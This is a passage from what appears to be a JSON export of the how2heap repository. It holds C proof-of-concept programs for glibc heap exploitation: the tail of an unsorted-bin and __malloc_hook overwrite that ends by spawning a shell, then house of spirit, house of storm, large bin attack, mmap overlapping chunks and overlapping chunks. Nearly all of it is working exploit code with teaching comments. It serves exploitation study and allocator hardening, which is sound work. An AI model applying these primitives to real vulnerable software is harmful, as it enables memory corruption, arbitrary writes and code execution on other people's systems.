need \n\tto get an address at the location of the __malloc_hook.\n\n\tWe will use the unsorted_bin attack in order to change the value \n\tof the __malloc_hook with the address of main_arena + 0x68. \n\tFor more information on the unsorted_bin attack, review \n\thttps://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c.\n\n\tFor a brief overview, the unsorted_bin attack allows us to write\n\tmain_arena + 0x68 to any location by altering the chunk->bk of\n\tan unsorted_bin chunk. We will choose to write this to the \n\tlocation of __malloc_hook.\n\n\tAfter we overwrite __malloc_hook with the main_arena, we will \n\tedit the pointer (with a relative overwrite) to point to a \n\tone_gadget for immediate code execution.\n\t\t\t\n\tAgain, this relative overwrite works well but requires an additional \n\t1 byte (8 bits) of brute force.\n\tThis brings the chances of a successful attempt up to 12 bits of \n\trandomness. This has about a 1/4096 or a 0.0244% chance of working.\n\n\t\n\tThe steps for phase two of the attack are explained as we go below.\n\t*/\n\n\tputs(\"\\\nStart Step 2: Unsorted_bin attack\\n\\n\\\nThe unsorted bin attack gives us the ability to write a\\n\\\nlarge value to ANY location. But, we do not control the value\\n\\\nThis value is always main_arena + 0x68. \\n\\\nWe point the unsorted_bin attack to __malloc_hook for a \\n\\\nrelative overwrite later.\\n\");\n\n\n\t// Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.\n\t\n\tuint8_t* unsorted_bin_ptr = malloc(0x80);\t\n\tmalloc(0x30); // Don't want to consolidate\n\n\tputs(\"Put chunk into unsorted_bin\\n\");\n\t// Free the chunk to create the UAF\n\tfree(unsorted_bin_ptr);\n\n\t/* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\\\\ \n\t However, for the sake of example, this has been calculated dynamically. \n\t*/\n\t__malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.\n\tbyte1 = (__malloc_hook_adjust) & 0xff; \t\n\tbyte2 = (__malloc_hook_adjust & 0xff00) >> 8; \n\n\n\t// Use another relative offset to overwrite the ptr of the chunk->bk pointer.\n\t// From the previous brute force (4 bits from before) we \n\t// know where the location of this is at. It is 5 bytes away from __malloc_hook.\n\tputs(\"Overwrite last two bytes of the chunk to point to __malloc_hook\\n\");\n\tunsorted_bin_ptr[8] = byte1; // Byte 0 of bk. \t\n\n\t// //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///\n\tunsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.\n\t\n\t/* \n\tTrigger the unsorted bin attack.\n\tThis will write the value of (main_arena + 0x68) to whatever is in the bk ptr + 0x10.\n\n\tA few things do happen though: \n\t\t- This makes the unsorted bin (hence, small and large too) \n\t\t   unusable. So, only allocations previously in the fastbin can only be used now.\n\t\t- If the same size chunk (the unsorted_bin attack chunk) \n\t\t   is NOT malloc'ed, the program will crash immediately afterwards. \n\t\t   So, the allocation request must be the same as the unsorted_bin chunk.\n\n\n\tThe first point is totally fine (in this attack). But, in more complicated \n\tprogramming, this can be an issue.\n\tThe second just requires us to do the same size allocaton as the current chunk.\n\n\t*/\n\n\tputs(\"Trigger the unsorted_bin attack\\n\");\n\tmalloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68\n\n\tlong long system_addr = (long long)dlsym(RTLD_NEXT, \"system\");\n\n\tputs(\"Passed step 2 =)\\n\\n\\n\");\n\t/* \n\tStep 3: Set __malloc_hook to system\n\t\n\tThe chunk itself is allocated 19 bytes away from __malloc_hook. \n\tSo, we use a realtive overwrite (again) in order to partially overwrite \n\tthe main_arena pointer (from unsorted_bin attack) to point to system.\n\n\tIn a real attack, the first 12 bits are static (per version). \n\tBut, after that, the next 12 bits must be brute forced. \n\n\t/// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\\\\\n\t*/ \n\n\tputs(\"Step 3: Set __malloc_hook to system/one_gadget\\n\\n\");\n\tputs(\"\\\nNow that we have a pointer to LibC inside of __malloc_hook (from step 2), \\n\\\nwe can use a relative overwrite to point this to system or a one_gadget.\\n\\\nNote: In a real attack, this would be where the last 8 bits of brute forcing\\n\\\ncomes from.\\n\");\n\tmalloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).\n\n\tmalloc_hook_chunk[20] = (system_addr >> 8) & 0xff;  // The last 4 bits of this must be brute forced (done previously already).\n\tmalloc_hook_chunk[21] = (system_addr >> 16) & 0xff;  // The last byte is the remaining 8 bits that must be brute forced.\n\tmalloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.\n\n\n\t// Trigger the malloc call for code execution via the system call being ran from the __malloc_hook.\n\t// In a real example, you would probably want to use a one_gadget. \n\t// But, to keep things portable, we will just use system and add a pointer to /bin/sh as the parameter\n\t// Although this is kind of cheating (the binary is PIE), if the binary was not PIE having a pointer into the .bss section would work without a single leak. \n\t// To get the system address (eariler on for consistency), the binary must be PIE though. So, the address is put in here.\n\tputs(\"Pop Shell!\");\n\tmalloc((long long)shell);\n\t\t\n}\n\n"
  },
  {
    "path": "glibc_2.24/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file demonstrates the house of spirit attack.\\n\");\n\n\tfprintf(stderr, \"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tfprintf(stderr, \"We will now overwrite a pointer to point to a fake 'fastbin' region.\\n\");\n\tunsigned long long *a;\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tunsigned long long fake_chunks[10] __attribute__ ((aligned (16)));\n\n\tfprintf(stderr, \"This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\\n\", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);\n\n\tfprintf(stderr, \"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tfprintf(stderr, \"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tfprintf(stderr, \"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tfprintf(stderr, \"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tfprintf(stderr, \"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\ta = &fake_chunks[2];\n\n\tfprintf(stderr, \"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tfprintf(stderr, \"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tfprintf(stderr, \"malloc(0x30): %p\\n\", malloc(0x30));\n}\n"
  },
  {
    "path": "glibc_2.24/house_of_storm.c",
    "content": "/*\n\nPOC for House of Storm on 2.23\n\nFor 2.26-2.28, the tcache will need to \nbe full for this to work. After this, \na patch to the unsorted bin attack likely prevents this \ntechnique from working. \n\nThis technique uses a combination of editing\nthe unsorted bin chunk and the large bin chunks\nto write a 'size' to a user choosen address in memory.\n\nOnce this has occurred, if the size at this 'fake' \nlocation is the same size as the allocation, \nthen the chunk will be returned back to the user. \n\nThis attack allows arbitrary chunks to be returned\nto the user!\n\nWritten by Maxwell \"Strikeout\" Dulin\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nchar filler[0x10];\nchar target[0x60]; \n\nvoid init(){\n        setvbuf(stdout, NULL, _IONBF, 0);\n        setvbuf(stdin, NULL, _IONBF, 0);\n        // clearenv();\n}\n\n// Get the AMOUNT to shift over for size and the offset on the largebin.\n// Needs to be a valid minimum sized chunk in order to work.\nint get_shift_amount(char* pointer){\n\n        int shift_amount = 0;\n        long long ptr = (long long)pointer;\n\n        while(ptr > 0x20){\n                ptr = ptr >> 8;\n                shift_amount += 1;\n        }\n\n        return shift_amount - 1; // Want amount PRIOR to this being zeroed out\n}\n\nint main(){\n\n\tinit();\n\n\tchar *unsorted_bin, *large_bin, *fake_chunk, *ptr;\n\n\tputs(\"House of Storm\"); \n\tputs(\"======================================\"); \n\tputs(\"Preparing chunks for the exploit\");\n\tputs(\"Put one chunk into unsorted bin and the other into the large bin\");\n\tputs(\"The unsorted bin chunk MUST be larger than the large bin chunk.\");\n\t/*\n\tPutting a chunk into the unsorted bin and another\n\tinto the large bin.\n\t*/\n\tunsorted_bin = malloc ( 0x4e8 );  // size 0x4f0 \n\n\t// prevent merging \n\tmalloc ( 0x18 ); \n\n\tputs(\"Find the proper chunk size to allocate.\");\n\tputs(\"Must be exactly the size of the written chunk from above.\");\n\t/* \n\tFind the proper size to allocate\n\tWe are using the first 'X' bytes of the heap to act \n\tas the 'size' of a chunk. Then, we need to allocate a \n\tchunk exactly this size for the attack to work. \n\n\tSo, in order to do this, we have to take the higher\n\tbits of the heap address and allocate a chunk of this\n\tsize, which comes from the upper bytes of the heap address.\n\n\tNOTE: \n\t- This does have a 1/2 chance of failing. If the 4th bit \n\tof this value is set, then the size comparison will fail.\n\t- Without this calculation, this COULD be brute forced.\n\t*/\n\tint shift_amount = get_shift_amount(unsorted_bin);\n        printf(\"Shift Amount: %d\\n\", shift_amount);\n\n        size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);\n        if(alloc_size < 0x10){\n                printf(\"Chunk Size: 0x%lx\\n\", alloc_size);\n                puts(\"Chunk size is too small\");\n                exit(1);\n        }\n        alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits\n        printf(\"In this case, the chunk size is 0x%lx\\n\", alloc_size);\n\n\n\t// Checks to see if the program will crash or not\n        /*\n        The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first. \n\n        Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438\n        validates to see if ONE of the following cases is true: \n        - av == arena_for_chunk (mem2chunk (mem))\n        - chunk is mmaped\n\n        If the 'non-main arena' bit is set on the chunk, then the \n        first case will fail. \n        If the mmap bit is set, then this will pass. \n        \n        So, either the arenas need to match up (our fake chunk is in the \n        .bss section for this demo. So, clearly, this will not happen) OR\n        the mmap bit must be set.\n\n        The logic below validates that the fourth bit of the size\n        is NOT set and that either the mmap bit is set or the non-main \n        arena bit is NOT set. If this is the case, the exploit should work.\n        */\n        if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){\n                puts(\"Allocation size has bit 4 of the size set or \");\n                puts(\"mmap and non-main arena bit check will fail\");\n                puts(\"Please try again! :)\");\n                puts(\"Exiting...\");\n                return 1;\n\n\t}\n\n\tlarge_bin  =  malloc ( 0x4d8 );  // size 0x4e0 \n\t// prevent merging \n\tmalloc ( 0x18 );\n\n\t// FIFO \n\tfree ( large_bin );  // put small chunks first \n\tfree ( unsorted_bin );\n\n\t// Put the 'large bin' chunk into the large bin\n\tunsorted_bin = malloc(0x4e8);\n\tfree(unsorted_bin);\n\n\t/*\n\tAt this point, there is a single chunk in the \n\tlarge bin and a single chunk in the unsorted bin. \n\tIt should be noted that the unsorted bin chunk \n\tshould be LARGER in size than the large bin chunk\n\tbut should still be within the same bin.\n\n\tIn this setup, the large_bin has a chunk\n\tof size 0x4e0 and the unsorted bin \n\thas a chunk of size 0x4f0. This technique relies on\n\tthe unsorted bin chunk being added to the same bin\n\tbut a larger chunk size. So, careful heap feng shui \n\tmust be done.\n\t*/\n\n\t// The address that we want to write to!\n\tfake_chunk = target - 0x10;\n\n\tputs(\"Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\\n This is our target location to get from the allocator\"); \n\t\n\t/*\n\tThe address of our fake chunk is set to the unsorted bin \n\tchunks 'bk' pointer. \n\n\tThis launches the 'unsorted_bin' attack but it is NOT the\n\tmain purpose of us doing this.\n\n\tAfter launching the 'unsorted_bin attack' the 'victim' pointer\n\twill be set to THIS address. Our goal is to find a way to get\n\tthis address from the allocator.\n\n\tVulnerability!!\n\t*/\n\t((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk\n\n\t// Only needs to be a valid address. \n\t(( size_t *) large_bin )[1]  =  (size_t)fake_chunk  +  8 ;  // large_bin->fd\n\n\tputs(\"Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location\");\n\tputs(\"of your fake chunk.\"); \n\tputs(\"Misalign the location in order to use the primitive as a SIZE value.\"); \n\tputs(\"The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).\");\n\tputs(\"Vulnerability #2!\");\n\tputs(\"Overwrite large bins bk->nextsize with the address to put our fake chunk size at.\");\n\t/* \n\tThis can be seen as a WRITE-WHERE primitive in the large bin.\n\tHowever, we are going to write a 'size' for our fake chunk using this. \n\n\tSo, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579\n\tto an address for our fake size. The write above (bk_nextsize) is\n\tcontrolled via the pointer we are going to overwrite below. The\n\tvalue that gets written is a heap address; the unsorted bin \n\tchunk address above. \n\n\tThe 'key' to this is the offset. First, we subtract 0x18 because\n\tthis is the offset to writting to fd_nextsize in the code shown \n\tabove. Secondly, notice the -2 below. We are going\n\tto write a 'heap address' at a mis-aligned location and\n\tuse THIS as the size. For instance, if the heap address is 0x123456\n\tand the pointer is set to 0x60006. This will write the following way:\n\t- 0x60006: 0x56\n\t- 0x60007: 0x34\n\t- 0x60008: 0x12\n\n\tNow, our 'fake size' is at 0x60008 and is a valid size for the \n\tfake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk\n\tfrom the allocator. \n\n\tSecond vulnerability!!!\n\t*/\n\t(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize\n\n\n\t/*\n\tAt this point, we've corrupted everything in just the right \n\tway so this should work. \n\n\tThe purpose of the attack is to have a corrupted 'bk' pointer\n\tpoint to ANYWHERE we want and still get the memory back. We do\n\tthis by using the large bin code to write a size to the 'bk' \n\tlocation.\n\n\tThis call to malloc (if you're lucky), will return a pointer\n\tto the fake chunk that we created above. \n\t*/\n\n\n\tputs(\"Make allocation of the size that the value will be written for.\");\n\tputs(\"Once the allocation happens, the madness begins\"); \n\tputs(\"Once in the unsorted bin, the 'large bin' chunk will be used in orer to \"); \n\tputs(\"write a fake 'size' value to the location of our target.\"); \n\tputs(\"After this, the target will have a valid size.\"); \n\tputs(\"Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid\"); \n\tputs(\"size and remove it from the bin.\");\n\tputs(\"With this, we have pulled out an arbitrary chunk!\");\n\n\tprintf(\"String before: %s\\n\", target);\n\tprintf(\"String pointer: %p\\n\", target);\n\t\n\tptr = malloc(alloc_size);\n\tstrncpy(ptr, \"\\x41\\x42\\x43\\x44\\x45\\x46\\x47\", 0x58 - 1);\n\t\n\tprintf(\"String after %s\\n\", target);\n\tprintf(\"Fake chunk ptr: %p\\n\", ptr);\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.24/large_bin_attack.c",
    "content": "/*\n\n    This technique is taken from\n    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/\n\n    [...]\n\n              else\n              {\n                  victim->fd_nextsize = fwd;\n                  victim->bk_nextsize = fwd->bk_nextsize;\n                  fwd->bk_nextsize = victim;\n                  victim->bk_nextsize->fd_nextsize = victim;\n              }\n              bck = fwd->bk;\n\n    [...]\n\n    mark_bin (av, victim_index);\n    victim->bk = bck;\n    victim->fd = fwd;\n    fwd->bk = victim;\n    bck->fd = victim;\n\n    For more details on how large-bins are handled and sorted by ptmalloc,\n    please check the Background section in the aforementioned link.\n\n    [...]\n\n */\n\n#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n \nint main()\n{\n    fprintf(stderr, \"This file demonstrates large bin attack by writing a large unsigned long value into stack\\n\");\n    fprintf(stderr, \"In practice, large bin attack is generally prepared for further attacks, such as rewriting the \"\n           \"global variable global_max_fast in libc for further fastbin attack\\n\\n\");\n\n    unsigned long stack_var1 = 0;\n    unsigned long stack_var2 = 0;\n\n    fprintf(stderr, \"Let's first look at the targets we want to rewrite on stack:\\n\");\n    fprintf(stderr, \"stack_var1 (%p): %ld\\n\", &stack_var1, stack_var1);\n    fprintf(stderr, \"stack_var2 (%p): %ld\\n\\n\", &stack_var2, stack_var2);\n\n    unsigned long *p1 = malloc(0x420);\n    fprintf(stderr, \"Now, we allocate the first large chunk on the heap at: %p\\n\", p1 - 2);\n\n    fprintf(stderr, \"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with\"\n           \" the first large chunk during the free()\\n\\n\");\n    malloc(0x20);\n\n    unsigned long *p2 = malloc(0x500);\n    fprintf(stderr, \"Then, we allocate the second large chunk on the heap at: %p\\n\", p2 - 2);\n\n    fprintf(stderr, \"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with\"\n           \" the second large chunk during the free()\\n\\n\");\n    malloc(0x20);\n\n    unsigned long *p3 = malloc(0x500);\n    fprintf(stderr, \"Finally, we allocate the third large chunk on the heap at: %p\\n\", p3 - 2);\n \n    fprintf(stderr, \"And allocate another fastbin chunk in order to avoid consolidating the top chunk with\"\n           \" the third large chunk during the free()\\n\\n\");\n    malloc(0x20);\n \n    free(p1);\n    free(p2);\n    fprintf(stderr, \"We free the first and second large chunks now and they will be inserted in the unsorted bin:\"\n           \" [ %p <--> %p ]\\n\\n\", (void *)(p2 - 2), (void *)(p2[0]));\n\n    malloc(0x90);\n    fprintf(stderr, \"Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the\"\n            \" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation\"\n            \", and reinsert the remaining of the freed first large chunk into the unsorted bin:\"\n            \" [ %p ]\\n\\n\", (void *)((char *)p1 + 0x90));\n\n    free(p3);\n    fprintf(stderr, \"Now, we free the third large chunk and it will be inserted in the unsorted bin:\"\n           \" [ %p <--> %p ]\\n\\n\", (void *)(p3 - 2), (void *)(p3[0]));\n \n    //------------VULNERABILITY-----------\n\n    fprintf(stderr, \"Now emulating a vulnerability that can overwrite the freed second large chunk's \\\"size\\\"\"\n            \" as well as its \\\"bk\\\" and \\\"bk_nextsize\\\" pointers\\n\");\n    fprintf(stderr, \"Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk\"\n            \" at the head of the large bin freelist. To overwrite the stack variables, we set \\\"bk\\\" to 16 bytes before stack_var1 and\"\n            \" \\\"bk_nextsize\\\" to 32 bytes before stack_var2\\n\\n\");\n\n    p2[-1] = 0x3f1;\n    p2[0] = 0;\n    p2[2] = 0;\n    p2[1] = (unsigned long)(&stack_var1 - 2);\n    p2[3] = (unsigned long)(&stack_var2 - 4);\n\n    //------------------------------------\n\n    malloc(0x90);\n \n    fprintf(stderr, \"Let's malloc again, so the freed third large chunk being inserted into the large bin freelist.\"\n            \" During this time, targets should have already been rewritten:\\n\");\n\n    fprintf(stderr, \"stack_var1 (%p): %p\\n\", &stack_var1, (void *)stack_var1);\n    fprintf(stderr, \"stack_var2 (%p): %p\\n\", &stack_var2, (void *)stack_var2);\n\n    // sanity check\n    assert(stack_var1 != 0);\n    assert(stack_var2 != 0);\n\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.24/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.24/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n\nint main(int argc , char* argv[]){\n\n\n\tintptr_t *p1,*p2,*p3,*p4;\n\n\tfprintf(stderr, \"\\nThis is a simple chunks overlapping problem\\n\\n\");\n\tfprintf(stderr, \"Let's start to allocate 3 chunks on the heap\\n\");\n\n\tp1 = malloc(0x100 - 8);\n\tp2 = malloc(0x100 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tfprintf(stderr, \"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x100 - 8);\n\tmemset(p2, '2', 0x100 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tfprintf(stderr, \"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tfprintf(stderr, \"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tfprintf(stderr, \"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tfprintf(stderr, \"For a toy program, the value of the last 3 bits is unimportant;\"\n\t\t\" however, it is best to maintain the stability of the heap.\\n\");\n\tfprintf(stderr, \"To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),\"\n\t\t\" to assure that p1 is not mistaken for a free chunk.\\n\");\n\n\tint evil_chunk_size = 0x181;\n\tint evil_region_size = 0x180 - 8;\n\tfprintf(stderr, \"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\n\tfprintf(stderr, \"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tfprintf(stderr, \"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tfprintf(stderr, \"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tfprintf(stderr, \"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tfprintf(stderr, \"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tfprintf(stderr, \"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t\" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tfprintf(stderr, \"Let's run through an example. Right now, we have:\\n\");\n\tfprintf(stderr, \"p4 = %s\\n\", (char *)p4);\n\tfprintf(stderr, \"p3 = %s\\n\", (char *)p3);\n\n\tfprintf(stderr, \"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tfprintf(stderr, \"p4 = %s\\n\", (char *)p4);\n\tfprintf(stderr, \"p3 = %s\\n\", (char *)p3);\n\n\tfprintf(stderr, \"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tfprintf(stderr, \"p4 = %s\\n\", (char *)p4);\n\tfprintf(stderr, \"p3 = %s\\n\", (char *)p3);\n}\n\n\n"
  },
  {
